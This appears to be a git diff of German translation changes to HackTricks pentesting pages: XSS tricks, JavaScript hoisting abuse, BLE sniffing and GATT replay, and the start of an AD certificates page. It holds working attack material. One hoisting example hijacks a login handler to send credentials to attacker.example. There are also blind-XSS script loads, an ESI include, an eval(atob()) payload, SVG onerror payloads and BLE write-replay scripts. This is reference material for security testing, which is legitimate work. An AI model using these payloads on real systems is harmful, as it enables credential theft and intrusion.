||||
```
|
||||
Hinweise
|
||||
- Das beruht auf der Ausführungsreihenfolge: deine injection muss vor der legitimen Deklaration ausgeführt werden.
|
||||
- Wenn dein Payload in `eval(...)` eingeschlossen ist, werden `const/let`-Bindings nicht zu globalen Variablen. Verwende die dynamische `<script>` injection technique aus dem Abschnitt “Deliverable payloads with eval(atob()) and scope nuances”, um eine echte globale, nicht neu-bindbare Bindung sicherzustellen.
|
||||
- Wenn Keyword-Filter Code blockieren, kombiniere sie mit Unicode-escaped identifiers oder der Lieferung via `eval(atob('...'))`, wie oben gezeigt.
|
||||
- Dies hängt von der Ausführungsreihenfolge ab: Ihre injection muss vor der legitimen Deklaration ausgeführt werden.
|
||||
- Wenn Ihr payload in `eval(...)` eingebettet ist, werden `const/let`-Bindings nicht zu globals. Verwenden Sie die dynamische `<script>`-Injection-Technik aus dem Abschnitt “Deliverable payloads with eval(atob()) and scope nuances”, um ein echtes globales, nicht neu-bindbares Binding sicherzustellen.
|
||||
- Wenn Keyword-Filter Code blockieren, kombinieren Sie dies mit Unicode-escaped identifiers oder `eval(atob('...'))`-Delivery, wie oben gezeigt.
|
||||
|
||||
### Keylogger
|
||||
|
||||
@ -1446,9 +1444,9 @@ Bei einer Suche auf github habe ich einige verschiedene gefunden:
|
||||
- [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger)
|
||||
- [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger)
|
||||
- [https://github.com/hakanonymos/JavascriptKeylogger](https://github.com/hakanonymos/JavascriptKeylogger)
|
||||
- Du kannst auch metasploit `http_javascript_keylogger` verwenden
|
||||
- Sie können auch metasploit `http_javascript_keylogger` verwenden
|
||||
|
||||
### Stehlen von CSRF tokens
|
||||
### Stealing CSRF tokens
|
||||
```javascript
|
||||
<script>
|
||||
var req = new XMLHttpRequest();
|
||||
@ -1494,7 +1492,7 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.
|
||||
|
||||
### Blind XSS payloads
|
||||
|
||||
Sie können auch nutzen: [https://xsshunter.com/](https://xsshunter.com)
|
||||
Sie können auch verwenden: [https://xsshunter.com/](https://xsshunter.com)
|
||||
```html
|
||||
"><img src='//domain/xss'>
|
||||
"><script src="//domain/xss.js"></script>
|
||||
@ -1561,7 +1559,7 @@ javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4Ln
|
||||
```
|
||||
### Regex - Zugriff auf versteckte Inhalte
|
||||
|
||||
Aus [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) lässt sich lernen, dass selbst wenn einige Werte im JS verschwinden, sie weiterhin in JS-Attributen in verschiedenen Objekten gefunden werden können. Zum Beispiel ist eine Eingabe eines REGEX noch auffindbar, nachdem der Wert der Regex-Eingabe entfernt wurde:
|
||||
Aus [**diesem Writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) lässt sich lernen, dass selbst wenn einige Werte aus JS verschwinden, man sie dennoch in JS-Attributen verschiedener Objekte finden kann. Zum Beispiel kann eine Eingabe eines REGEX weiterhin gefunden werden, nachdem der Wert der Regex-Eingabe entfernt wurde:
|
||||
```javascript
|
||||
// Do regex with flag
|
||||
flag = "CTF{FLAG}"
|
||||
@ -1589,33 +1587,32 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt
|
||||
|
||||
### XSS in Markdown
|
||||
|
||||
Kannst du Markdown-Code injizieren, der gerendert wird? Vielleicht kannst du dadurch XSS erreichen! Siehe:
|
||||
Kann man Markdown-Code injizieren, der gerendert wird? Vielleicht kannst du XSS bekommen! Siehe:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
xss-in-markdown.md
|
||||
{{#endref}}
|
||||
|
||||
### XSS to SSRF
|
||||
### XSS zu SSRF
|
||||
|
||||
Hast du XSS auf einer **Site, die Caching verwendet**? Versuche, das **in SSRF umzuwandeln** mittels Edge Side Include Injection mit diesem payload:
|
||||
Hast du XSS auf einer Site, die Caching verwendet? Versuche, das auf SSRF zu upgraden mittels Edge Side Include Injection mit diesem payload:
|
||||
```python
|
||||
<esi:include src="http://yoursite.com/capture" />
|
||||
```
|
||||
Use it to bypass Cookie-Einschränkungen, XSS-Filter und vieles mehr!\
|
||||
More information about this technique here: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md).
|
||||
Use it to bypass cookie restrictions, XSS filters and much more!\
|
||||
Mehr Informationen zu dieser Technik hier: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md).
|
||||
|
||||
### XSS in dynamisch erstelltem PDF
|
||||
|
||||
Wenn eine Webseite ein PDF mit vom Benutzer kontrollierten Eingaben erstellt, kannst du versuchen, **den Bot zu täuschen**, der das PDF erstellt, damit er **beliebigen JS-Code ausführt**.\
|
||||
Also: wenn der **PDF creator bot finds** irgendeine Art von **HTML** **tags** findet, wird er diese **interpretieren**, und du kannst dieses Verhalten **ausnutzen**, um eine **Server XSS** zu verursachen.
|
||||
### XSS in dynamically erzeugtem PDF
|
||||
|
||||
Wenn eine Webseite ein PDF aus nutzergesteuerten Eingaben erstellt, kannst du versuchen, den Bot, der das PDF erstellt, zu **täuschen**, sodass er **beliebigen JS-Code ausführt**.\
|
||||
Wenn der **PDF-Creator-Bot findet** irgendwelche **HTML** **tags**, wird er diese **interpretieren**, und du kannst dieses Verhalten **missbrauchen**, um ein **Server XSS** zu verursachen.
|
||||
|
||||
{{#ref}}
|
||||
server-side-xss-dynamic-pdf.md
|
||||
{{#endref}}
|
||||
|
||||
Wenn du keine HTML-Tags injizieren kannst, kann es sich lohnen, zu versuchen, **PDF-Daten zu injizieren**:
|
||||
Wenn du keine HTML tags injizieren kannst, kann es sich lohnen, zu versuchen, **PDF-Daten zu injizieren**:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -1624,13 +1621,13 @@ pdf-injection.md
|
||||
|
||||
### XSS in Amp4Email
|
||||
|
||||
AMP, das darauf abzielt, die Performance von Webseiten auf mobilen Geräten zu beschleunigen, verwendet HTML-Tags, ergänzt durch JavaScript, um Funktionalität mit Schwerpunkt auf Geschwindigkeit und Sicherheit zu gewährleisten. Es unterstützt eine Reihe von Komponenten für verschiedene Funktionen, zugänglich über [AMP components](https://amp.dev/documentation/components/?format=websites).
|
||||
AMP, das darauf abzielt, die Leistung von Webseiten auf mobilen Geräten zu beschleunigen, verwendet HTML tags ergänzt durch JavaScript, um Funktionalität mit Schwerpunkt auf Geschwindigkeit und Sicherheit zu gewährleisten. Es unterstützt eine Reihe von Komponenten für verschiedene Features, die über [AMP components](https://amp.dev/documentation/components/?format=websites) zugänglich sind.
|
||||
|
||||
Das [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) Format erweitert bestimmte AMP-Komponenten auf E-Mails und ermöglicht Empfängern, direkt innerhalb ihrer E-Mails mit dem Inhalt zu interagieren.
|
||||
Das [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) Format erweitert bestimmte AMP-Komponenten für E-Mails und ermöglicht Empfängern, direkt innerhalb ihrer E-Mails mit Inhalten zu interagieren.
|
||||
|
||||
Beispiel [**writeup XSS in Amp4Email in Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
|
||||
Beispiel: [**writeup XSS in Amp4Email in Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
|
||||
|
||||
### XSS beim Hochladen von Dateien (svg)
|
||||
### XSS uploading files (svg)
|
||||
|
||||
Lade als Bild eine Datei wie die folgende hoch (von [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
|
||||
```html
|
||||
@ -1688,9 +1685,9 @@ id="foo"/>
|
||||
```xml
|
||||
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' ><image href='1' onerror='alert(1)' /></svg>#x" />
|
||||
```
|
||||
Finde **mehr SVG payloads in** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
|
||||
Finde **mehr SVG payloads auf** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
|
||||
|
||||
## Sonstige JS-Tricks & Relevante Infos
|
||||
## Verschiedene JS-Tricks & Relevante Infos
|
||||
|
||||
|
||||
{{#ref}}
|
||||
|
@ -2,31 +2,31 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Grundlegende Informationen
|
||||
## Basic Information
|
||||
|
||||
In der JavaScript-Sprache gibt es einen Mechanismus, der als **Hoisting** bezeichnet wird, bei dem Deklarationen von Variablen, Funktionen, Klassen oder Imports gedanklich an den Anfang ihres Scopes verschoben werden, bevor der Code ausgeführt wird. Dieser Prozess wird automatisch von der JavaScript-Engine durchgeführt, die das Script in mehreren Durchläufen verarbeitet.
|
||||
In der Sprache JavaScript gibt es einen Mechanismus namens **Hoisting**, bei dem Deklarationen von Variablen, Funktionen, Klassen oder Imports konzeptionell an den Anfang ihres Scopes gehoben werden, bevor der Code ausgeführt wird. Dieser Prozess wird automatisch von der JavaScript engine durchgeführt, die das Script in mehreren Durchläufen verarbeitet.
|
||||
|
||||
Während des ersten Durchlaufs parst die Engine den Code, prüft auf Syntaxfehler und wandelt ihn in einen abstract syntax tree um. Diese Phase beinhaltet Hoisting, also das Verschieben bestimmter Deklarationen an den Anfang des Ausführungskontexts. Wenn die Parsing-Phase erfolgreich ist und keine Syntaxfehler aufgetreten sind, wird das Script ausgeführt.
|
||||
Während des ersten Durchlaufs parsed die engine den Code, prüft auf Syntaxfehler und wandelt ihn in einen abstrakten Syntaxbaum um. Diese Phase umfasst Hoisting, einen Prozess, bei dem bestimmte Deklarationen an den Anfang des Execution Contexts verschoben werden. Wenn die Parse-Phase erfolgreich ist und keine Syntaxfehler vorliegen, setzt die Script-Ausführung ein.
|
||||
|
||||
Wichtig zu verstehen ist:
|
||||
|
||||
1. Das Script muss frei von Syntaxfehlern sein, damit eine Ausführung stattfinden kann. Syntaxregeln müssen strikt eingehalten werden.
|
||||
2. Die Platzierung von Code innerhalb des Scripts beeinflusst die Ausführung aufgrund von Hoisting, obwohl der ausgeführte Code von seiner textuellen Darstellung abweichen kann.
|
||||
2. Die Platzierung von Code innerhalb des Scripts beeinflusst die Ausführung durch Hoisting, auch wenn der tatsächlich ausgeführte Code von seiner textuellen Darstellung abweichen kann.
|
||||
|
||||
#### Arten von Hoisting
|
||||
#### Types of Hoisting
|
||||
|
||||
Basierend auf Informationen von MDN gibt es in JavaScript vier verschiedene Arten von Hoisting:
|
||||
|
||||
1. **Value Hoisting**: Erlaubt die Verwendung des Werts einer Variablen innerhalb ihres Scopes vor der Zeile, in der sie deklariert wird.
|
||||
2. **Declaration Hoisting**: Ermöglicht, innerhalb eines Scopes auf eine Variable zu verweisen, bevor sie deklariert wurde, ohne dass ein `ReferenceError` geworfen wird — der Wert der Variablen ist dann jedoch `undefined`.
|
||||
3. Diese Art verändert das Verhalten innerhalb ihres Scopes, weil die Variable vor ihrer eigentlichen Deklarationszeile deklariert wird.
|
||||
4. Die Seiteneffekte der Deklaration treten auf, bevor der restliche Code, der sie enthält, evaluiert wird.
|
||||
1. **Value Hoisting**: Ermöglicht die Nutzung des Wertes einer Variable innerhalb ihres Scopes vor ihrer Deklarationszeile.
|
||||
2. **Declaration Hoisting**: Erlaubt das Referenzieren einer Variable innerhalb ihres Scopes vor ihrer Deklaration, ohne einen `ReferenceError` auszulösen; der Wert der Variable ist jedoch `undefined`.
|
||||
3. Diese Art verändert das Verhalten innerhalb ihres Scopes, da die Deklaration der Variable vor ihrer tatsächlichen Deklarationszeile liegt.
|
||||
4. Die Seiteneffekte der Deklaration treten ein, bevor der restliche Code, der sie enthält, ausgewertet wird.
|
||||
|
||||
Im Detail zeigen Funktionsdeklarationen das Verhalten von Typ 1 Hoisting. Das Schlüsselwort `var` demonstriert Verhalten vom Typ 2. Lexikalische Deklarationen, zu denen `let`, `const` und `class` gehören, zeigen Verhalten vom Typ 3. Schließlich sind `import`-Anweisungen insofern einzigartig, als sie sowohl Typ-1- als auch Typ-4-Verhalten beim Hoisting aufweisen.
|
||||
Im Detail zeigen function declarations das Verhalten von Type 1 Hoisting. Das Schlüsselwort `var` zeigt Type 2 Verhalten. Lexical declarations, zu denen `let`, `const` und `class` gehören, zeigen Type 3 Verhalten. Schließlich sind `import`-Statements insofern einzigartig, als sie sowohl Type 1 als auch Type 4 Verhalten aufweisen.
|
||||
|
||||
## Szenarien
|
||||
## Scenarios
|
||||
|
||||
Daher, wenn du Szenarien hast, in denen du **Inject JS code after an undeclared object** ausführen kannst, könntest du die Syntax beheben, indem du es deklarierst (sodass dein Code ausgeführt wird, anstatt einen Fehler zu erzeugen):
|
||||
Daher, wenn Sie Szenarien haben, in denen Sie **Inject JS code after an undeclared object** verwenden können, könnten Sie **fix the syntax** by declaring it (so your code gets executed instead of throwing an error):
|
||||
```javascript
|
||||
// The function vulnerableFunction is not defined
|
||||
vulnerableFunction('test', '<INJECTION>');
|
||||
@ -129,9 +129,9 @@ alert(1) -
|
||||
}
|
||||
trigger()
|
||||
```
|
||||
### Verhindere spätere Deklarationen, indem du einen Namen mit const sperrst
|
||||
### Spätere Deklarationen vorwegnehmen, indem man einen Namen mit const sperrt
|
||||
|
||||
Wenn du Code ausführen kannst, bevor eine top-level `function foo(){...}` geparst wird, verhindert die Deklaration einer lexikalischen Bindung mit demselben Namen (z. B. `const foo = ...`), dass die spätere Funktionsdeklaration diesen Bezeichner neu bindet. Dies lässt sich in RXSS ausnutzen, um kritische Handler, die später auf der Seite definiert werden, zu kapern:
|
||||
Wenn du Code ausführen kannst, bevor eine auf oberster Ebene stehende `function foo(){...}` geparst wird, verhindert das Deklarieren einer lexikalischen Bindung mit demselben Namen (z. B. `const foo = ...`), dass die spätere `function`-Deklaration diesen Bezeichner neu bindet. Dies kann in RXSS ausgenutzt werden, um kritische Handler zu kapern, die später auf der Seite definiert werden:
|
||||
```javascript
|
||||
// Malicious code runs first (e.g., earlier inline <script>)
|
||||
const DoLogin = () => {
|
||||
@ -144,8 +144,8 @@ fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURICom
|
||||
function DoLogin(){ /* ... */ } // cannot override the existing const binding
|
||||
```
|
||||
Hinweise
|
||||
- Dies hängt von der Ausführungsreihenfolge und dem globalen (Top-Level) Scope ab.
|
||||
- Wenn dein Payload innerhalb von `eval()` ausgeführt wird, denk daran, dass `const/let` innerhalb von `eval` block-scoped sind und keine globalen Bindungen erzeugen. Füge ein neues `<script>`-Element mit dem Code ein, um ein echtes globales `const` herzustellen.
|
||||
- Dies beruht auf der Ausführungsreihenfolge und dem global (top-level) scope.
|
||||
- Wenn dein Payload innerhalb von `eval()` ausgeführt wird, beachte, dass `const/let` innerhalb von `eval` block-scoped sind und keine globalen Bindings erstellen. Injiziere ein neues `<script>`-Element mit dem Code, um ein echtes globales `const` zu etablieren.
|
||||
|
||||
## Quellen
|
||||
|
||||
|
@ -4,19 +4,19 @@
|
||||
|
||||
## Einführung
|
||||
|
||||
Seit der Bluetooth 4.0-Spezifikation verwendet BLE nur 40 Kanäle und deckt den Bereich von 2400 bis 2483,5 MHz ab. Im Gegensatz dazu verwendet herkömmliches Bluetooth in demselben Bereich 79 Kanäle.
|
||||
Verfügbar seit der Bluetooth-4.0-Spezifikation, verwendet BLE nur 40 Kanäle und deckt den Bereich von 2400 bis 2483,5 MHz ab. Im Gegensatz dazu verwendet traditionelles Bluetooth 79 Kanäle in demselben Bereich.
|
||||
|
||||
BLE-Geräte kommunizieren, indem sie **advertising packets** (**beacons**) senden; diese Pakete übertragen die Existenz des BLE-Geräts an andere nahe Geräte. Diese Beacons senden manchmal auch **Daten**.
|
||||
BLE-Geräte kommunizieren, indem sie **Advertising-Pakete** (**Beacons**) senden; diese Pakete senden die Existenz des BLE-Geräts an andere Geräte in der Nähe. Diese Beacons **übermitteln manchmal auch Daten**.
|
||||
|
||||
Das abhörende Gerät, auch als central device bezeichnet, kann auf ein advertising packet mit einer speziell an das werbende Gerät gesendeten **SCAN request** antworten. Die **response** auf diesen Scan verwendet die gleiche Struktur wie das **advertising**-Packet, enthält jedoch zusätzliche Informationen, die nicht in die ursprüngliche advertising-Anfrage passten, etwa den vollständigen Gerätenamen.
|
||||
Das empfangende Gerät, auch Zentralgerät genannt, kann auf ein Advertising-Paket mit einer **SCAN request** antworten, die speziell an das Advertising-Gerät gesendet wird. Die **Antwort** auf diesen Scan verwendet die gleiche Struktur wie das **Advertising**-Paket, enthält jedoch zusätzliche Informationen, die nicht in die ursprüngliche Advertising-Anfrage passten, wie z. B. den vollständigen Gerätenamen.
|
||||
|
||||
.png>)
|
||||
|
||||
Das Preamble-Byte synchronisiert die Frequenz, während die vierbyteige Access Address ein **connection identifier** ist, der in Szenarien verwendet wird, in denen mehrere Geräte versuchen, auf denselben Kanälen Verbindungen herzustellen. Danach enthält die Protocol Data Unit (**PDU**) die **advertising data**. Es gibt verschiedene Typen von PDU; die am häufigsten verwendeten sind ADV_NONCONN_IND und ADV_IND. Geräte verwenden den **ADV_NONCONN_IND**-PDU-Typ, wenn sie **keine Verbindungen akzeptieren** und Daten nur im advertising packet übertragen. Geräte verwenden **ADV_IND**, wenn sie **Verbindungen zulassen** und das Senden von advertising-Paketen einstellen, sobald eine **connection** **hergestellt** wurde.
|
||||
Das Präambel-Byte synchronisiert die Frequenz, während die vier-Byte Access Address eine **Verbindungskennung** ist, die in Szenarien verwendet wird, in denen mehrere Geräte versuchen, auf denselben Kanälen Verbindungen herzustellen. Anschließend enthält die Protocol Data Unit (**PDU**) die **Advertising-Daten**. Es gibt mehrere Typen von PDU; die am häufigsten verwendeten sind ADV_NONCONN_IND und ADV_IND. Geräte verwenden den PDU-Typ **ADV_NONCONN_IND**, wenn sie **keine Verbindungen akzeptieren** und Daten nur im Advertising-Paket übertragen. Geräte verwenden **ADV_IND**, wenn sie **Verbindungen zulassen** und das **Senden von Advertising**-Paketen einstellen, sobald eine **Verbindung** **hergestellt** wurde.
|
||||
|
||||
### GATT
|
||||
|
||||
Das **Generic Attribute Profile** (GATT) definiert, wie das **Gerät Daten formatieren und übertragen** soll. Wenn du die Angriffsfläche eines BLE-Geräts analysierst, konzentrierst du dich oft auf das GATT (oder GATTs), weil darüber die **device functionality getriggert** wird und wie Daten gespeichert, gruppiert und modifiziert werden. Das GATT listet die Characteristics, Descriptors und Services eines Geräts in einer Tabelle als 16- oder 32-Bit-Werte auf. Eine **characteristic** ist ein **Datenwert**, der zwischen dem central device und dem peripheral **gesendet** wird. Diese Characteristics können **descriptors** haben, die **zusätzliche Informationen über sie bereitstellen**. **Characteristics** werden oft in **services** gruppiert, wenn sie sich auf die Ausführung einer bestimmten Aktion beziehen.
|
||||
Das Generic Attribute Profile (GATT) definiert, wie das Gerät Daten formatieren und übertragen sollte. Wenn du die Angriffsfläche eines BLE-Geräts analysierst, konzentrierst du dich häufig auf das GATT (oder GATTs), weil darüber die **Gerätefunktionalität ausgelöst** wird und wie Daten gespeichert, gruppiert und verändert werden. Das GATT listet die Charakteristiken, Deskriptoren und Dienste eines Geräts in einer Tabelle als 16- oder 32-Bit-Werte auf. Eine **Charakteristik** ist ein **Datenwert**, der zwischen dem Zentralgerät und dem Peripheriegerät **gesendet** wird. Diese Charakteristiken können **Deskriptoren** haben, die **zusätzliche Informationen** über sie bereitstellen. Charakteristiken werden häufig in **Diensten** gruppiert, wenn sie mit der Ausführung einer bestimmten Aktion zusammenhängen.
|
||||
|
||||
## Enumeration
|
||||
```bash
|
||||
@ -30,8 +30,8 @@ spooftooph -i hci0 -a 11:22:33:44:55:66
|
||||
```
|
||||
### GATTool
|
||||
|
||||
**GATTool** ermöglicht es, eine **Verbindung** zu einem anderen Gerät herzustellen, dessen **Eigenschaften** aufzulisten und dessen Attribute zu lesen und zu schreiben.\
|
||||
GATTTool kann mit der Option `-I` eine interaktive Shell starten:
|
||||
**GATTool** ermöglicht, eine **connection** zu einem anderen Gerät herzustellen, dessen **characteristics** aufzulisten sowie seine Attribute zu lesen und zu schreiben.\
|
||||
GATTTool kann mit der Option `-I` eine interactive shell starten:
|
||||
```bash
|
||||
gatttool -i hci0 -I
|
||||
[ ][LE]> connect 24:62:AB:B1:A8:3E Attempting to connect to A4:CF:12:6C:B3:76 Connection successful
|
||||
@ -64,15 +64,15 @@ sudo bettercap --eval "ble.recon on"
|
||||
>> ble.write <MAC ADDR> <UUID> <HEX DATA>
|
||||
>> ble.write <mac address of device> ff06 68656c6c6f # Write "hello" in ff06
|
||||
```
|
||||
## Sniffing und aktive Steuerung nicht gepaarter BLE-Geräte
|
||||
## Sniffing und aktive Kontrolle nicht gepaarter BLE-Geräte
|
||||
|
||||
Viele günstige BLE-Peripheriegeräte erzwingen kein Pairing/Bonding. Ohne Bonding wird die Link-Layer-Verschlüsselung nie aktiviert, sodass ATT/GATT-Verkehr im Klartext steht. Ein off-path sniffer kann der Verbindung folgen, GATT-Operationen dekodieren, um characteristic handles und Werte zu ermitteln, und jeder nahegelegene Host kann sich verbinden und diese writes wieder abspielen, um das Gerät zu steuern.
|
||||
Viele kostengünstige BLE-Peripheriegeräte erzwingen kein pairing/bonding. Ohne bonding wird die Link Layer encryption nie aktiviert, sodass ATT/GATT traffic im cleartext übertragen wird. Ein off-path sniffer kann der Verbindung folgen, GATT-Operationen dekodieren, um characteristic handles und values zu ermitteln, und jeder nahegelegene Host kann sich dann verbinden und diese writes erneut ausführen, um das Gerät zu steuern.
|
||||
|
||||
### Sniffing with Sniffle (CC26x2/CC1352)
|
||||
|
||||
Hardware: ein Sonoff Zigbee 3.0 USB Dongle Plus (CC26x2/CC1352), neu geflasht mit der Sniffle-Firmware der NCC Group.
|
||||
Hardware: ein Sonoff Zigbee 3.0 USB Dongle Plus (CC26x2/CC1352), mit der Sniffle-Firmware von NCC Group neu geflasht.
|
||||
|
||||
Installiere Sniffle und dessen Wireshark extcap unter Linux:
|
||||
Installieren Sie Sniffle und dessen Wireshark extcap unter Linux:
|
||||
```bash
|
||||
if [ ! -d /opt/sniffle/Sniffle-1.10.0/python_cli ]; then
|
||||
echo "[+] - Sniffle not installed! Installing at 1.10.0..."
|
||||
@ -91,7 +91,7 @@ else
|
||||
echo "[+] - Sniffle already installed at 1.10.0"
|
||||
fi
|
||||
```
|
||||
Sonoff mit Sniffle firmware flashen (stelle sicher, dass dein serielles Gerät übereinstimmt, z. B. /dev/ttyUSB0):
|
||||
Flashe Sonoff mit der Sniffle-Firmware (stelle sicher, dass dein serielles Gerät übereinstimmt, z. B. /dev/ttyUSB0):
|
||||
```bash
|
||||
pushd /opt/sniffle/
|
||||
wget https://github.com/nccgroup/Sniffle/releases/download/v1.10.0/sniffle_cc1352p1_cc2652p1_1M.hex
|
||||
@ -104,13 +104,13 @@ python3 cc2538-bsl.py -p /dev/ttyUSB0 --bootloader-sonoff-usb -ewv ../sniffle_cc
|
||||
deactivate
|
||||
popd
|
||||
```
|
||||
Erfassen Sie in Wireshark über das Sniffle extcap und wechseln Sie schnell zu zustandsändernden Schreibvorgängen, indem Sie filtern:
|
||||
In Wireshark über das Sniffle extcap mitschneiden und durch Filtern schnell zu state-changing writes pivoten:
|
||||
```text
|
||||
_ws.col.info contains "Sent Write Command"
|
||||
```
|
||||
Das hebt ATT Write Commands vom Client hervor; handle und value bilden oft direkt Geräteaktionen ab (z. B. write 0x01 an eine buzzer/alert characteristic, 0x00 zum Stoppen).
|
||||
Das hebt ATT Write Commands vom client hervor; handle und value bilden oft direkt Geräteaktionen ab (z. B. write 0x01 an eine buzzer/alert characteristic, 0x00 zum Stoppen).
|
||||
|
||||
Sniffle CLI schnelle Beispiele:
|
||||
Sniffle CLI — schnelle Beispiele:
|
||||
```bash
|
||||
python3 scanner.py --output scan.pcap
|
||||
# Only devices with very strong signal
|
||||
@ -118,18 +118,18 @@ python3 scanner.py --rssi -40
|
||||
# Filter advertisements containing a string
|
||||
python3 sniffer.py --string "banana" --output sniff.pcap
|
||||
```
|
||||
Alternative sniffer: Nordic’s nRF Sniffer for BLE + Wireshark plugin funktioniert ebenfalls. Auf kleinen/günstigen Nordic dongles überschreibt man typischerweise den USB bootloader, um die sniffer firmware zu laden. Daher behält man entweder einen dedizierten sniffer dongle oder benötigt einen J-Link/JTAG, um den bootloader später wiederherzustellen.
|
||||
Alternative sniffer: Nordic’s nRF Sniffer for BLE + Wireshark plugin funktioniert ebenfalls. Bei kleinen/günstigen Nordic-Dongles überschreibt man typischerweise den USB bootloader, um die Sniffer-Firmware zu laden, daher behält man entweder einen dedizierten Sniffer-Dongle oder benötigt später einen J-Link/JTAG, um den Bootloader wiederherzustellen.
|
||||
|
||||
### Aktive Steuerung via GATT
|
||||
### Aktive Steuerung über GATT
|
||||
|
||||
Sobald du aus dem sniffed traffic einen writable characteristic handle und value identifiziert hast, verbinde dich als beliebiges central und sende denselben write:
|
||||
Sobald Sie aus dem mitgeschnittenen Traffic ein beschreibbares Characteristic-Handle und den Wert identifiziert haben, verbinden Sie sich als beliebiges Central und führen denselben Write aus:
|
||||
|
||||
- Mit Nordic nRF Connect for Desktop (BLE app):
|
||||
- Wähle den nRF52/nRF52840 dongle, scan und connect to the target.
|
||||
- Durchsuche die GATT database, finde die target characteristic (hat oft einen friendly name, z. B. Alert Level).
|
||||
- Führe einen Write mit den sniffed bytes aus (z. B. 01 to trigger, 00 to stop).
|
||||
- Wählen Sie den nRF52/nRF52840-Dongle aus, scannen Sie und verbinden Sie sich mit dem Ziel.
|
||||
- Durchsuchen Sie die GATT-Datenbank, finden Sie die Ziel-Characteristic (hat oft einen freundlichen Namen, z. B. Alert Level).
|
||||
- Führen Sie einen Write mit den mitgeschnappten Bytes aus (z. B. 01 zum Auslösen, 00 zum Stoppen).
|
||||
|
||||
- Automatisieren unter Windows mit einem Nordic dongle unter Verwendung von Python + blatann:
|
||||
- Automatisieren unter Windows mit einem Nordic-Dongle mittels Python + blatann:
|
||||
```python
|
||||
import time
|
||||
import blatann
|
||||
@ -169,13 +169,13 @@ peer.disconnect()
|
||||
peer.wait_for_disconnect()
|
||||
ble_device.close()
|
||||
```
|
||||
### Betriebliche Hinweise und Gegenmaßnahmen
|
||||
### Betriebsnotizen und Gegenmaßnahmen
|
||||
|
||||
- Bevorzuge Sonoff+Sniffle unter Linux für robustes channel hopping und connection following. Halte einen Ersatz-Nordic sniffer als Backup bereit.
|
||||
- Ohne pairing/bonding kann jeder nahe Angreifer writes beobachten und diese replayen/selbst craften, um eigene Daten an unauthenticated writable characteristics zu senden.
|
||||
- Gegenmaßnahmen: require pairing/bonding und enforce encryption; characteristic permissions so setzen, dass authenticated writes erforderlich sind; unauthenticated writable characteristics minimieren; GATT ACLs mit Sniffle/nRF Connect validieren.
|
||||
- Bevorzugen Sie Sonoff+Sniffle unter Linux für robustes channel hopping und connection following. Halten Sie einen Ersatz-Nordic-Sniffer als Backup bereit.
|
||||
- Ohne pairing/bonding kann ein in der Nähe befindlicher Angreifer writes beobachten und diese replayen oder eigene craften, um sie an unauthenticated writable characteristics zu senden.
|
||||
- Gegenmaßnahmen: require pairing/bonding und Verschlüsselung durchsetzen; die characteristic permissions so setzen, dass authenticated writes erforderlich sind; unauthenticated writable characteristics minimieren; GATT ACLs mit Sniffle/nRF Connect validieren.
|
||||
|
||||
## References
|
||||
## Referenzen
|
||||
|
||||
- [Start hacking Bluetooth Low Energy today! (part 2) – Pentest Partners](https://www.pentestpartners.com/security-blog/start-hacking-bluetooth-low-energy-today-part-2/)
|
||||
- [Sniffle – A sniffer for Bluetooth 5 and 4.x LE](https://github.com/nccgroup/Sniffle)
|
||||
|
@ -1,93 +1,93 @@
|
||||
# AD Certificates
|
||||
# AD-Zertifikate
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Introduction
|
||||
## Einführung
|
||||
|
||||
### Components of a Certificate
|
||||
### Bestandteile eines Zertifikats
|
||||
|
||||
- The **Subject** of the certificate denotes its owner.
|
||||
- A **Public Key** is paired with a privately held key to link the certificate to its rightful owner.
|
||||
- The **Validity Period**, defined by **NotBefore** and **NotAfter** dates, marks the certificate's effective duration.
|
||||
- A unique **Serial Number**, provided by the Certificate Authority (CA), identifies each certificate.
|
||||
- The **Issuer** refers to the CA that has issued the certificate.
|
||||
- **SubjectAlternativeName** allows for additional names for the subject, enhancing identification flexibility.
|
||||
- **Basic Constraints** identify if the certificate is for a CA or an end entity and define usage restrictions.
|
||||
- **Extended Key Usages (EKUs)** delineate the certificate's specific purposes, like code signing or email encryption, through Object Identifiers (OIDs).
|
||||
- The **Signature Algorithm** specifies the method for signing the certificate.
|
||||
- The **Signature**, created with the issuer's private key, guarantees the certificate's authenticity.
|
||||
- Der **Subject** des Zertifikats bezeichnet seinen Inhaber.
|
||||
- Ein **Public Key** ist mit einem privat gehaltenen Schlüssel gepaart, um das Zertifikat seinem rechtmäßigen Inhaber zuzuordnen.
|
||||
- Die **Validity Period**, definiert durch die **NotBefore**- und **NotAfter**-Daten, gibt die Gültigkeitsdauer des Zertifikats an.
|
||||
- Eine eindeutige **Serial Number**, von der Certificate Authority (CA) vergeben, identifiziert jedes Zertifikat.
|
||||
- Der **Issuer** ist die CA, die das Zertifikat ausgestellt hat.
|
||||
- Die **SubjectAlternativeName** erlaubt zusätzliche Namen für den Subject und erhöht die Flexibilität bei der Identifikation.
|
||||
